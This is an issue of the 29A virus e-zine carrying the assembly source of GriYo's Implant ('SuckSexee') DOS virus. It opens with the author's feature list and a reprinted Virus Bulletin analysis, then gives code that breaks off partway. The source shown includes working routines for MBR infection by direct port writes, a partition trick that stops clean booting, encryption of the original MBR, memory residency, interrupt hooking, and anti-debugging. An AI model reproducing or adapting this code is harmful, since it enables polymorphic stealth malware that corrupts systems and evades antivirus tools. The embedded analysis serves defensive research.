Copy Link
Add to Bookmark
Report
29A Issue 02 05 03
;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; ³ SuckSexee Automated Intruder ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ³ Viral Implant Bio-Coded by GriYo/29A ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; Disclaimer:
; ÄÄÄÄÄÄÄÄÄÄÄ
; The author is not responsable of any problems caused due
; to assembly of this file.
;
; Virus description:
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; o Residency:
;
; The virus only goes resident when booting from an infected
; hard drive or floppy disk.
; While infecting files the virus uses UMB memory if
; available.
;
; o Infection:
;
; 1) Hard drive master-boot-record
;
; The virus infects the HD MBR using direct port access
; bypassing some TSR watchdogs and BIOS virus-protection
; features.
;
; 2) Floppy boot sector
;
; SuckSexee formats an extra track on floppy and saves there
; the original BS (for stealth) and its main body.
;
; 3) Files (.COM .EXE and .SYS)
;
; The virus uses low level system file table.
; Files are infected on close, get/set attribute, rename,
; move or upon termination.
;
; o Stealth:
;
; This virus is full-stealth, so the system seems to be clean
; while infected.
;
; 1) Sector level
;
; Attempts to read the HD MBR or floppy boot sector will result
; in a clean copy being returned.
; Attempts to read the sectors were the virus resides will not
; be permitted.
;
; 2) File level
;
; Attempts to read an infected file will result in a clean
; copy being returned, as the virus disinfects files on the
; fly, including if a debugging tool is used to edit the file.
;
; 3) Others...
;
; Directory, search and date/time stealth also supported
; Whenever win.com is executed, the virus adds some
; parameters to avoid problems with Windows 32bit disk access.
;
; o Armoured:
;
; Attempts to write to the HD MBR or the sectors on which the virus
; resides will not be permitted, but no error were returned
; SuckSexee uses extended DOS partition trick, so infected
; computers will not be able to boot from floppy.
;
; o Polymorphism:
;
; SuckSexee is encrypted under two encryption layers utilising a
; polymorphic engine to generate first decryptor algorithm.
; Generated polymorphic decryptor contains several conditional and
; unconditional jumps as well as calls to subroutines and
; interrupts.
; The virus is polymorphic in all its infections.
; This means that SuckSexee is polymorphic on hard drive MBR,
; floppy boot sectors, .COM files, .EXE files and
; also .SYS files.
; While infecting floppy boot sectors the virus reads the
; decryptor at MBR infection and uses it for each floppy.
; While infecting files the virus will use the same decryptor
; for each infected file.
; If the system is rebooted a new mutation will be used
; to infect files.
; SuckSexee uses a timer to avoid multiple mutations in a
; short period of time.
;
; o Retro:
;
; Polymorphic engine uses slow mutation technics (see note above).
; The virus avoids some self-check executables being infected.
; SuckSexee waits over 10 min. before it starts infecting files.
; The virus does not infect files that have V character or
; digit(s) in their names.
; Command line parameters force TbScan to use compatibility
; mode (so files can be stealthed and infected while
; scanning) and skip memory scanning.
; The virus encrypts the original MBR for a difficult recovery.
;
;
; Virus Bulletin speaks
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Thanks to mgl for the typing :)
;
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
; VIRUS BULLETIN MAY 1997
;
; Silicon Implants
;
; Igor Muttik
; Dr Solomon's Software Ltd
;
;
; In February this Year, I received some flies which had been
; downloaded from an Internet virus exchange site and
; forwarded to us for analysis. 'Ah, the usual rubbish...', I
; thought; for it is rare to get new (let alone interesting!)
; viruses from such sources - if a file is not already identified
; as containing a known virus, it is usually either a corrupted
; virus, or not a virus at all. It looked as though this would
; again be the case, but then, amongst these files, I came
; across a new virus - Implant.6128.
;
; Implant is unusual in many aspects - it has full stealth, and
; is both polymorphic and multi-partite. Stranger still, it works
; reliably - I have never seen a virus so complex and yet so
; stable. After all, it is both well known and intuitively obvious
; that as software gets more complex, it has more bugs.
;
; In my opinion, this explains perfectly why primitive computer
; viruses (most boot sector and macro infectors) are the most
; common in the wild. Sophisticated viruses have more bugs,
; and thus have a smaller chance of surviving unnoticed in the
; field. Implant is a rare exception to this general rule.
;
; Returning to the virus' specifics, it is extremely polymorphic.
; The complexity of its decryptor by far exceeds that of
; many other famous polymorphic viruses. It is also extremely
; multi-partite, infecting COM, EXE and SYS files as well as
; the hard disk MBR and floppy boot sectors.
;
; Finally, Implant makes it impossible to boot the computer
; from a clean DOS system diskette: it does this using the
; circular extended partition technique, first seen implemented
; in Rainbow [see VB, September- 1995, P. 12].
;
;
; Initial Infection
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; When an infected file is run, or the infected floppy is left in
; the A: drive at boot time, the virus takes control in the
; traditional manner. After it decrypts itself, it checks the
; processor type: if the computer is 8088- or 80286-based (i.e.
; is an XT or an AT). Implant immediately infects another
; file. However, if the machine is an 80386 or above, the virus
; issues its 'Are you there?' call - Int 12h, CX=029Ah, SI=OBADH,
; DI=FACEh.
;
; If, on return from the call, the SI and DI registers are set to
; DEADH and BABEH respectively (I wonder how many other
; words can be squeezed into 16 bits?) the virus assumes it is
; already active and proceeds to infect a file. Otherwise (if it
; is not already resident), it creates an array of 1024 random
; bytes (which will later be used by the virus' polymorphic
; engine) and passes control to the hard disk infection routine.
; This routine copies the MBR to sector 3 on track 0, and then
; finds the active partition record in the partition table,
; checking whether it is a 16-bit FAT DOS system (that is, the
; type field is set to 4 or 6).
;
; If so, Implant removes the active flag, sets the partition type
; to 5 (Extended DOS partition) and makes the pointer to its
; first sector point to the MBR (creating a so-called 'circular
; extended partition').
;
; Then the virus analyses the code in the MBR: it follows the
; jump chain (if present), and puts its code at the destination
; of the final jump - the virus code is such that it needs to
; leave only 35 bytes in the MBR! Implant next writes the
; MBR back to disk by direct manipulation of I/0 ports (this
; will make it compatible with IDE and MFM drives, but
; not SCSI).
;
; After the write attempt, the virus rereads the MBR and
; checks whether the checksum of what was read matches
; what was written. If not, the virus gives up, and passes
; control to the host program.
;
; Then the virus writes its body into 12 sectors on track 0
; starting at sector 4, right after the saved MBR. Implant does
; not forget to check whether there is sufficient space on
; track 0 - if there are fewer than 13 sectors before the start of
; an active partition, the virus will not infect the hard drive.
; nor modify anything on track 0.
;
; Implant does not recognize itself in the MBR. It just checks
; whether a resident copy is already present using its 'Are you
; there?' call. If it is not in memory, it loads the MBR and
; scans for an active partition. An already-infected MBR will
; not have this, so the infection will fail at this point - there is
; no risk of multiple infection.
;
; There are two main branches in the virus code. If the virus is
; run from a file (COM, EXE or SYS), control transfers to the
; host and nothing is left resident in memory. If, however, the
; virus is run from a boot sector (either that of a floppy or the
; hard disk's MBR), it seizes 7KB of DOS memory (by the
; familiar technique of reducing the word at memory offset
; [0:413h]), copies itself to the newly-created hole in memory
; just beneath the top of conventional memory, and intercepts
; some system interrupts.
;
; The method by which the virus infects the hard drive means
; that an MS-DOS system floppy cannot be used to clean-boot
; an Implant-infected PC. The circular extended partition will
; make MS-DOS v5 onwards, Novell DOS 7, and DR-DOS 6
; hang. Fortunately, it is still possible to use versions 3.30 or
; 4.0 of MS-DOS, or PC-DOS 5 and 6, which will boot
; without problem. After booting, however, drive C will still,
; of course, be inaccessible: attempts to access this drive will
; result in the error 'Invalid drive specification'.
;
;
; Booting the Infected System
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; When booting, the virus hooks interrupts 12h (self-recogni-
; tion and stealth), 13h (disk I/0: for stealth and to infect
; floppies), and 1Ch (timer; to intercept DOS interrupts later
; on). All three are used to intercept Int 21 h: the virus can do
; this in three ways:
;
; - thirty seconds after the computer is booted (checked
; using Int 1Ch)
;
; - when an infected program is run: when such a proaram
; issues the 'Are you there?' Int 12h call (see above) the
; resident copy of a virus will immediately hook Int 21h
;
; - when a program attempts to write to disk using Int 13h
;
; The virus has specific knowledge of some versions of DOS.
; and tries to get the real DOS entry point by following the
; jumps and doing some checks. If an attempt to get the real
; entry point fails, the virus simply uses the one taken from
; the Interrupt Vector Table.
;
; When the virus has hooked Int 21h, it monitors the following
; DOS functions: 2Ah (Get date; used in a payload), 4B00h
; (Exec), 3Eh (Close), 43h (Attribute), 56h (Rename/Move),
; 4Ch (Terminate), 3Dh (Open), 6Ch (Open/Create). 11h/12h
; (Findfirst/Findnext FCB), 4Eh/4Fh (Findfirst/Findnext), 3Fh
; (Read), 4B01h (Load), 40h (Write), 5700h (Get timestamp),
; 5701h (Set timestamp). These functions are used to infect
; files and conceal infection (full stealth).
;
; During infection, the virus also intercepts Int 24h (Critical
; error handler) to suppress error messaaes.
;
;
; Infection of Files
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; The virus infects files as they are run or opened. However, if
; any infected files are copied to diskette, the files on the
; diskette will be clean (despite the fact that the diskette's
; boot sector is infected) - Implant is 'full stealth'. Running
; the file from the floppy does not infect it either. How, then.
; are infected files passed between users?
;
; The first thing the virus checks when any program calls any
; monitored DOS function is the program's name, paying
; special attention to files named AR*.*, PK*.*. LH*.*, and
; BA*.* (archiving utilities, specifically, ARJ, PKZIP, LHA
; and BACKUP). This information is used to turn off stealth
; mode when any of these archivers is executed. Thus, the
; virus ensures all executable files are packed into archives
; and backups are infected, whether on floppy or hard disk.
;
; Further, it will not infect files called TB*.*, SC*.*, F-*.*,
; GU*.*, nor those containing the letters V, MO, IO, DO, IB
; or the digits 0-9. Thus the virus avoids a wide variety of
; anti-virus programs, DOS system files, and goat files used
; by virus researchers (which usually have digits in the name).
;
; Implant infects only files with the extensions COM, EXE
; and SYS. COM and SYS files longer than 52801 bytes are
; not infected. Files with time-stamps set to 62 seconds are
; assumed already infected - this is the virus' infection stamp.
;
; To check whether a file is an EXE file, the virus adds the
; first two bytes of the file (for an EXE file, 4D5A or 5A4D)
; together: if the sum is A7h (A7h=4Dh+5Ah), the file is
; assumed to have an EXE header. Simple and elegant.
;
; When resident, Implant denies access to files named
; CHKLIS*.*. These patterns match CHKLIST.MS or
; CHKLIST.CPS, and prevent Microsoft's and Central
; Point's scanners from working properly.
;
; If WIN.COM is executed, the virus adds a parameter ID:F to
; the program's command-line. This argument turns off
; Windows' 32-bit disk access, which enables infection of
; floppies accessed from within Windows. If TBSCAN is
; executed, the virus adds the command-line parameters 'co'
; and 'nm', which instruct the program to skip the memory
; cheek and not use direct disk access ('compatibility mode').
;
;
; Infection of Floppies
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; The floppy disk boot sector is infected in much the same
; manner as the MBR. The virus follows the jump chain in the
; floppy boot sector and writes 35 bytes of its code there. The
; encrypted polymorphic virus body is placed on a floppy on
; an additional track (number 80) which it first formats. This
; track will have 13 sectors: the first will carry a copy of an
; original boot sector: the rest will be occupied by the
; encrypted virus body. To infect floppy disks, Implant uses
; Int 40h, which usually points to BIOS code.
;
; The virus infects only 1.2MB or 1.44MB floppies. It checks
; the total amount of sectors on the media (the word at offset
; 13h in the boot sector) and proceeds with infection only if
; the number of sectors is B40h or 960h (2880 or 2400,
; respectively). For self-recognition, the virus cheeks the two
; letters at offset 21 h from the last jump in the chain (if any):
; all infected floppies contain the marker 'CR' at this point.
;
; There is a bug in floppy infection: if the boot sector starts
; with a JMP (opcode E9h, not usual EBh), the virus code is
; inserted 1 byte lower than necessary. Still, the virus is able
; to work as the first instruction of its code is CLI, which
; takes just 1 byte and is not absolutely necessary.
;
;
; Polymorphic Engine
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Implant's polymorphic engine is very powerful. Suffice it to
; say that it supports subroutines, conditional jumps with non-
; zero displacement, and memory writes. This engine takes a
; good half of the virus' code.
;
; The engine makes extensive use of the table of random bytes,
; created during the initialization phase. The approach of
; using a table generated just once during the installation of
; the virus into memory classifies Implant as a slow polymor-
; phic. This means that the variety of the polymorphic
; decryptors is artificially limited until the next reboot of the
; PC. It poses some problems for anti-virus researchers, as it
; becomes difficult to create enough files infected in enough
; different ways to test detection.
;
; Files are encrypted in two layers: the first is polymorphic:
; the second is simple XOR encryption with a slightly
; variable decrylptor. Some attempts are made to prevent
; tracing the second decryptor, but no anti-emulation tricks
; are used.
;
;
; Stealth Properties
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Implant stealths its modifications to the MBR and FBR. The
; virus also does not allow writes to the sectors on track 0
; which are used by the MBR copy and the virus body
; (sectors 03h to 0Fh).
;
; If any of the programs ME*.*. CH*.*, SY*.*, SM*.* is run
; (these patterns appear to be intended to match MEM.
; CHKDSK. SYSINFO and SMAP) the virus spoofs the value
; returned by Int 12h (free RAM) by adding 7K to the real
; figure. Hence, the amount of memory is reported as it was
; before infection.
;
; The stealthing of infected files is more sophisticated than
; that of the MBR and floppy boot sector. Most modern
; stealth viruses do 'semi-stealth' (just the change in the file
; size is concealed). Implant, on the other hand, is full stealth,
; so when the virus is active. even integrity checking pro-
; grams will not report any file modifications.
;
; A common problem to all stealth viruses is how, to suppress
; error messagres from the CHKDSK utility. When run on a
; system infected with a stealth virus. CHKDSK reports
; allocation errors, because reported file sizes do not match
; their actual sizes (i.e. the reported size in bytes does not
; match the number of clusters in the file allocation table).
; Implant recognizes that CHKDSK.EXE (or a similar utility)
; is being run, and turns off its stealth routine whilst the disk
; check is performed.
;
; If there is any doubt as to whether or not a PC is infected by
; Implant, the easiest way to check is to create a file called
; CHKLIST. If there are problems accessing this file, the virus
; is almost certainly resident. To check if a particular execut-
; able is infected, it is probably easiest to pack the file into an
; archive and check whether the size inside is the same as
; outside. If not, the file is infected.
;
;
; Payload
; ÄÄÄÄÄÄÄ
; Implant's payload triggers on 4 June. after any program asks
; for the system date. The payload is buggy: it was apparently
; supposed to destroy the contents of track 0, rendering the
; system unusable, but the virus itself rejects the attempt to
; overwrite the infected MBR ! So, the destructive part of the
; payload does not work.
;
; After this unsuccessful attempt to zap itself, the virus slowly,
; types the following text in the middle of the screen (green
; letters on a black background, accompanied by a rattling,
; perhaps meant to resemble the noise of a typewriters):
;
;
; <<< SuckSexee Automated Intruder >>>
; Viral Implant Bio-Coded by GriYo/29A
;
;
; Then the PC freezes. After a reboot (until you chance the
; CMOS clock setting) the payload will eventually trigger
; agrain because some program, sooner or later, will try to get
; the system date - and the cycle will begin again...
;
;
; Summary
; ÄÄÄÄÄÄÄ
; Implant impressed me. It is definitely written by a talented
; person - it is a pity, his skills are used so destructively. I
; recently received another interesting virus (Gollum.7167)
; from the same author (carrying the signature 'GriYo/29A'):
; it spreads via infected standard DOS EXE files which drop a
; VxD in Windows'SYSTEM directory (called GOLLUM.386)
; and registers it in SYSTEM.INI. When Windows is started,
; the VxD becomes active and will infect DOS EXE files run
; in the DOS box. This virus again shows that GriYo uses
; approaches that are neither common nor trivial.
;
; I wonder if this is talent comparable to the Dark Avenger or
; the author of One Half? I sincerely hope such a gifted
; person will find better thing to do than write viruses.
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
; And finally...
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Greetings go to the following generation:
;
; AúGuS & Company ............ SuckSexee people rulez
; Absolute Overlord .......... PolyMorphic OpCode GENerator
; Mister Sandman ............. Mississippi ruleeez, hahaha!
; All the 29Aers ............. 29A 3LiT3 ;)
;
; And all the replicants usually at #virus
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Let's have some fun! ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
.286
launcher segment para 'CODE'
assume cs:launcher,ds:launcher,es:launcher,ss:launcher
org 0000h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Equates, equates, equates... ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;Virus size in infections
inf_byte_size equ virus_data_buffer-virus_entry
;Virus infection size in parragraphs
inf_para_size equ (inf_byte_size+0Fh)/0010h
;Virus infection size in sectors
inf_sect_size equ (inf_byte_size+01FFh)/0200h
;Virus size in memory
mem_byte_size equ virus_end_buffer-virus_entry
;Virus size in memory in Kb
mem_kb_size equ (mem_byte_size+03FFh)/0400h
;Virus size in memory in parragraphs
mem_para_size equ (mem_byte_size+0Fh)/0010h
;Decryptor size in bytes
decryptor equ virus_body-virus_entry
;Second decryptor size in bytes
second_size equ second_body-virus_entry
;Boot code size in bytes
boot_size equ boot_end-boot_code
;File header size
file_header_size equ 1Ch
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus entry-point for all its targets ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
virus_entry:
;Space for decryptor or random data block
db 0400h dup (90h)
virus_body:
;Get delta offset stored on infection ( mov bp,xxxx )
db 0BDh
file_delta dw 0000h
;Save segment registers
push ds
push es
;Save bx ( pointer to parameter block when calling .sys )
push bx
;Setup segment regs
mov ax,cs
mov ds,ax
mov es,ax
avoid_decryptor:
;Avoid second decryptor on first virus generation
jmp short second_body
;Perform second decryption loop
mov cx,inf_byte_size-second_size+01h
;Get pointer to decryption zone and return address
lea ax,word ptr [second_body][bp]
;Save return address
push ax
;Load pointers
mov si,ax
mov di,ax
;Get decryption key
mov bl,byte ptr cs:[clave_crypt][bp]
second_loop:
;Decrypt one byte
cld
lodsb
sub al,bl
;Do shit with stack (will fool some emulators)
push ax
pop dx
cli
mov ax,0002h
sub sp,ax
sti
pop ax
cmp ax,dx
jne second_loop
;Store decrypted byte
cld
stosb
;Call to int 03h for anti debug
int 03h
;Modify key
inc bl
loop second_loop
;Clear prefetch
db 0EBh,00h
;Jump to decryption zone
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Start of double-encrypted area ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
second_body:
;Check cpu type (SuckSexee needs 286+)
mov al,02h
mov cl,21h
shr al,cl
or al,al
jz control_back
;Installation check
mov si,00BADh
mov di,0FACEh
xor cx,cx
;Check if running in mbr, floppy boot sector or .sys file
cmp word ptr ds:[exit_address][bp],offset exit_exe - \
offset host_ret
je exe_com_installation
cmp word ptr ds:[exit_address][bp],offset exit_com - \
offset host_ret
jne others_installation
exe_com_installation:
;This will advertise to the already resident virus that
;its time to hook int 21h if isnt hooked
mov cx,029Ah
others_installation:
;Installation check works with int 12h coz can be called
;from mbr or from files... and also coz id like number 12h
int 12h
cmp si,0DEADh
jne not_resident
cmp di,0BABEh
jne not_resident
control_back:
;Get control back to infected target
db 0EBh,00h
;Load offset of exit address into bx
db 0E9h
exit_address dw offset exit_launcher - offset host_ret
host_ret equ this byte
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Infect hd mbr ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
not_resident:
;Enable second decryption loop
mov word ptr [avoid_decryptor][bp],9090h
;Generate a block of random data over decryptor routine
;(that routine havent any use at this point so we can use
;its memory space)
;Polymorphic engine will use this data later for its
;slow mutation procedures
;This is better than other slow mutation engines i saw
;coz it produces several mutations of the virus on the
;same machine, but not enough mutations for
;analisys
mov di,bp
mov cx,decryptor
fill_rnd_1:
call random_number
cld
stosb
loop fill_rnd_1
;Reset disk controler
xor ah,ah
mov dx,0080h
int 13h
;Read mbr
mov ax,0201h
mov cx,0001h
lea bx,word ptr [virus_copy][bp]
int 13h
jnc ok_read_mbr
jmp go_memory
ok_read_mbr:
;Check for mbr marker
cmp word ptr ds:[bx+01FEh],0AA55h
jne no_mbr_infection
;Search active partition
lea si,word ptr [virus_copy+01BEh][bp]
mov cl,04h
search_active:
cmp byte ptr ds:[si],dl
je found_active
add si,10h
loop search_active
no_mbr_infection:
;Exit if no active partition found
;This is also the way on witch the virus marks
;infected mbr
jmp go_memory
found_active:
;Check partition type
mov al,byte ptr ds:[si+04h]
;Dos 16bit-fat?
cmp al,04h
je partition_type_ok
;Dos 4.0+ 32Mb?
cmp al,06h
je partition_type_ok
;Exit if virus cant handle such partition type
jmp go_memory
partition_type_ok:
;Check if enougth sectors before partition
cmp byte ptr ds:[si+08h],inf_sect_size+01h
jb go_memory
;Crypt original mbr
call crypt_sector
;Write original mbr for stealth
mov ax,0301h
mov cl,03h
int 13h
jc go_memory
;Restore sector
call crypt_sector
;By using this trick the computer cant be booted
;from a system floppy
;Set partition type as extended dos partition
mov byte ptr ds:[si+04h],05h
;Disable partition and set head to 00h
xor ax,ax
mov word ptr ds:[si],ax
inc ax
;Set partition starting at cilinder 00h sector 01h
mov word ptr ds:[si+02h],ax
;Save position of virus body in hd
;(side 00h track 00h sector 04h)
inc cl
mov word ptr ds:[load_cx][bp],cx
;Get position of code into mbr
call get_position
;Move virus loader over boot sector code
lea si,word ptr [boot_code][bp]
mov cx,boot_size
cld
rep movsb
;Write infected mbr
call hd_write_port
;Save exit address
push word ptr ds:[exit_address][bp]
;This will tell the virus that this is a mbr infection
mov word ptr ds:[exit_address][bp],offset exit_mbr - \
offset host_ret
;Clear dos running switch
sub ax,ax
mov byte ptr ds:[running_sw][bp],al
;Clear dos loaded flag
mov byte ptr ds:[dos_flag][bp],al
;Clear file infection flag
mov byte ptr ds:[file_infection_flag][bp],al
;Reset virus timer
mov word ptr ds:[virus_timer][bp],ax
;Set delta offset for mbr poly engine
mov word ptr ds:[file_delta][bp],7E00h
;Save pointer to polymorphic engine working buffer
mov word ptr ds:[poly_working_off][bp],bx
mov word ptr ds:[poly_working_seg][bp],es
;Perform encryption
call do_encrypt
;Write virus body
mov ax,0300h+inf_sect_size
mov cl,04h
int 13h
;Restore exit address
pop word ptr ds:[exit_address][bp]
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Go memory resident if running from mbr or floppy boot sector ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
go_memory:
;Running from hd mbr or floppy bs?
cmp word ptr cs:[exit_address][bp],offset exit_mbr - \
offset host_ret
jne running_in_file
;Allocate some bios memory
sub di,di
mov es,di
sub word ptr es:[0413h],mem_kb_size
mov ax,word ptr es:[0413h]
;Copy virus to allocated memory
mov cl,06h
shl ax,cl
mov es,ax
mov si,bp
mov cx,inf_byte_size
cld
rep movsb
;Hook ints
push es
pop ds
;Get int 12h vector
mov al,12h
call get_int
;Save old int 12h
mov word ptr ds:[old12h_off],bx
mov word ptr ds:[old12h_seg],es
;Hook int 12h
mov dx,offset my_int12h
call set_int
;Get int 13h vector
inc al
call get_int
;Save old int 13h
mov word ptr ds:[old13h_off],bx
mov word ptr ds:[old13h_seg],es
;Hook int 13h
mov dx,offset my_int13h
call set_int
;Get int 1Ch vector
mov al,1Ch
call get_int
;Save old int 1Ch
mov word ptr ds:[old1Ch_off],bx
mov word ptr ds:[old1Ch_seg],es
;Hook int 1Ch
mov dx,offset my_int1Ch
call set_int
;Get int 40h vector
mov al,40h
call get_int
;Save old int 40h
mov word ptr ds:[old40h_off],bx
mov word ptr ds:[old40h_seg],es
running_in_file:
;Return to boot sequence
jmp control_back
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Exit from infected hd mbr or floppy boot sector ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
exit_mbr:
;Get .sys parameter block pointer out of stack
pop bx
;Restore segment registers
pop es
pop ds
;Reboot system
int 19h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Exit from .sys infected files ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
exit_sys:
;Point to old .sys header ( offset of strategy routine address )
lea si,word ptr [old_header+0006h][bp]
mov di,0006h
cld
lodsw
stosw
;Get .sys parameter block pointer
pop bx
;Restore segment registers
pop es
pop ds
;Get control back to strategy subroutine
push cs
push ax
;Clear some regs
xor ax,ax
xor cx,cx
xor dx,dx
xor si,si
xor di,di
xor bp,bp
retf
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Exit from .com infected files ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
exit_com:
;Restore first three bytes
lea si,word ptr [old_header][bp]
mov di,0100h
mov cx,0003h
cld
rep movsb
;Get .sys parameter block pointer
pop bx
;Restore segment registers
pop es
pop ds
;Get control back to host
push cs
push 0100h
;Clear some regs
xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx
xor si,si
xor di,di
xor bp,bp
retf
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Exit from .exe infected files ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
exit_exe:
;Get .sys parameter block pointer
pop bx
